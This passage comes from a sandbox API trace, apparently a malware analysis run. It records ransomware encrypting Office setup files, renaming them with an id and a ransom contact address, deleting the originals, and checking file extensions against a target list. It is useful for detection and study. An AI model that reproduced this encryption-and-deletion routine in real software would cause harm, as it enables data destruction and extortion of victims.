lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x545, lpOverlapped=0x0) returned 1 [0079.338] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x550, lpOverlapped=0x0) returned 1 [0079.341] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.341] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0079.342] SetEndOfFile (hFile=0x1bc) returned 1 [0079.342] CloseHandle (hObject=0x1bc) returned 1 [0079.343] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.343] SetEndOfFile (hFile=0x208) returned 1 [0079.345] CloseHandle (hObject=0x208) returned 1 [0079.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0079.345] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0079.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.346] lstrlenW (lpString=".doc") returned 4 [0079.346] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.346] lstrlenW (lpString=".docx") returned 5 [0079.346] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0079.346] lstrlenW (lpString=".pdf") returned 4 [0079.346] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.347] lstrlenW (lpString=".xls") returned 4 [0079.347] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.347] lstrlenW (lpString=".xlsx") returned 5 [0079.347] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0079.347] lstrlenW (lpString=".ppt") returned 4 [0079.347] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.347] lstrlenW (lpString=".zip") returned 4 [0079.347] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.347] lstrlenW (lpString=".rar") returned 4 [0079.347] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.347] lstrlenW (lpString=".bz2") returned 4 [0079.347] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.347] lstrlenW (lpString=".7z") returned 3 [0079.347] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.347] lstrlenW (lpString=".dbf") returned 4 [0079.348] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.348] lstrlenW (lpString=".1cd") returned 4 [0079.348] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.348] lstrlenW (lpString=".jpg") returned 4 [0079.348] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.349] lstrlenW (lpString=".doc") returned 4 [0079.349] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.349] lstrlenW (lpString=".docx") returned 5 [0079.349] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0079.349] lstrlenW (lpString=".pdf") returned 4 [0079.349] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.349] lstrlenW (lpString=".xls") returned 4 [0079.349] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.349] lstrlenW (lpString=".xlsx") returned 5 [0079.349] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0079.349] lstrlenW (lpString=".ppt") returned 4 [0079.349] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.349] lstrlenW (lpString=".zip") returned 4 [0079.350] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.350] lstrlenW (lpString=".rar") returned 4 [0079.350] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.350] lstrlenW (lpString=".bz2") returned 4 [0079.350] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.350] lstrlenW (lpString=".7z") returned 3 [0079.350] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.350] lstrlenW (lpString=".dbf") returned 4 [0079.350] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.350] lstrlenW (lpString=".1cd") returned 4 [0079.350] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0079.350] lstrlenW (lpString=".jpg") returned 4 [0079.350] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.351] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.351] lstrlenW (lpString="SETUP.XML") returned 9 [0079.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.353] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2624) returned 1 [0079.353] CloseHandle (hObject=0x208) returned 1 [0079.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0079.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.354] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.354] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0079.355] GetLastError () returned 0x0 [0079.355] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0xa40, lpOverlapped=0x0) returned 1 [0079.358] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0079.361] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.361] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.361] SetEndOfFile (hFile=0x1bc) returned 1 [0079.361] CloseHandle (hObject=0x1bc) returned 1 [0079.364] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.364] SetEndOfFile (hFile=0x208) returned 1 [0079.366] CloseHandle (hObject=0x208) returned 1 [0079.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0079.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0079.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.367] lstrlenW (lpString=".doc") returned 4 [0079.368] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.368] lstrlenW (lpString=".docx") returned 5 [0079.368] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0079.368] lstrlenW (lpString=".pdf") returned 4 [0079.368] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.368] lstrlenW (lpString=".xls") returned 4 [0079.368] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.368] lstrlenW (lpString=".xlsx") returned 5 [0079.368] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0079.368] lstrlenW (lpString=".ppt") returned 4 [0079.368] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.368] lstrlenW (lpString=".zip") returned 4 [0079.368] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.368] lstrlenW (lpString=".rar") returned 4 [0079.368] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.368] lstrlenW (lpString=".bz2") returned 4 [0079.369] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.369] lstrlenW (lpString=".7z") returned 3 [0079.369] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.369] lstrlenW (lpString=".dbf") returned 4 [0079.369] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.369] lstrlenW (lpString=".1cd") returned 4 [0079.369] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.369] lstrlenW (lpString=".jpg") returned 4 [0079.369] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.369] lstrlenW (lpString=".doc") returned 4 [0079.369] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.369] lstrlenW (lpString=".docx") returned 5 [0079.370] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0079.370] lstrlenW (lpString=".pdf") returned 4 [0079.370] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.370] lstrlenW (lpString=".xls") returned 4 [0079.370] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.370] lstrlenW (lpString=".xlsx") returned 5 [0079.370] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0079.370] lstrlenW (lpString=".ppt") returned 4 [0079.370] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.370] lstrlenW (lpString=".zip") returned 4 [0079.370] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.370] lstrlenW (lpString=".rar") returned 4 [0079.370] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.370] lstrlenW (lpString=".bz2") returned 4 [0079.370] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.371] lstrlenW (lpString=".7z") returned 3 [0079.371] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.371] lstrlenW (lpString=".dbf") returned 4 [0079.371] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.371] lstrlenW (lpString=".1cd") returned 4 [0079.371] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0079.371] lstrlenW (lpString=".jpg") returned 4 [0079.371] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.371] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.372] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0079.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.372] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1565) returned 1 [0079.372] CloseHandle (hObject=0x208) returned 1 [0079.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0079.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.374] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.374] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0079.375] GetLastError () returned 0x0 [0079.375] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x61d, lpOverlapped=0x0) returned 1 [0079.378] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x620, lpOverlapped=0x0) returned 1 [0079.380] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.380] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.380] SetEndOfFile (hFile=0x1bc) returned 1 [0079.381] CloseHandle (hObject=0x1bc) returned 1 [0079.384] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.384] SetEndOfFile (hFile=0x208) returned 1 [0079.386] CloseHandle (hObject=0x208) returned 1 [0079.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0079.387] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0079.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.387] lstrlenW (lpString=".doc") returned 4 [0079.387] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.387] lstrlenW (lpString=".docx") returned 5 [0079.387] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0079.388] lstrlenW (lpString=".pdf") returned 4 [0079.388] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.778] lstrlenW (lpString=".xls") returned 4 [0079.779] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.779] lstrlenW (lpString=".xlsx") returned 5 [0079.779] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0079.779] lstrlenW (lpString=".ppt") returned 4 [0079.779] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.779] lstrlenW (lpString=".zip") returned 4 [0079.779] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.779] lstrlenW (lpString=".rar") returned 4 [0079.779] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.779] lstrlenW (lpString=".bz2") returned 4 [0079.779] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.779] lstrlenW (lpString=".7z") returned 3 [0079.779] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.780] lstrlenW (lpString=".dbf") returned 4 [0079.780] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.780] lstrlenW (lpString=".1cd") returned 4 [0079.780] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.780] lstrlenW (lpString=".jpg") returned 4 [0079.780] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.780] lstrlenW (lpString=".doc") returned 4 [0079.780] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.780] lstrlenW (lpString=".docx") returned 5 [0079.780] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0079.780] lstrlenW (lpString=".pdf") returned 4 [0079.781] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.781] lstrlenW (lpString=".xls") returned 4 [0079.781] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.781] lstrlenW (lpString=".xlsx") returned 5 [0079.781] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0079.781] lstrlenW (lpString=".ppt") returned 4 [0079.781] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.781] lstrlenW (lpString=".zip") returned 4 [0079.781] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.781] lstrlenW (lpString=".rar") returned 4 [0079.781] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.781] lstrlenW (lpString=".bz2") returned 4 [0079.781] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.781] lstrlenW (lpString=".7z") returned 3 [0079.781] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.782] lstrlenW (lpString=".dbf") returned 4 [0079.782] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.782] lstrlenW (lpString=".1cd") returned 4 [0079.782] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0079.782] lstrlenW (lpString=".jpg") returned 4 [0079.782] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.782] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.782] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0079.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0079.783] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=913) returned 1 [0079.783] CloseHandle (hObject=0x1d0) returned 1 [0079.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0079.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: 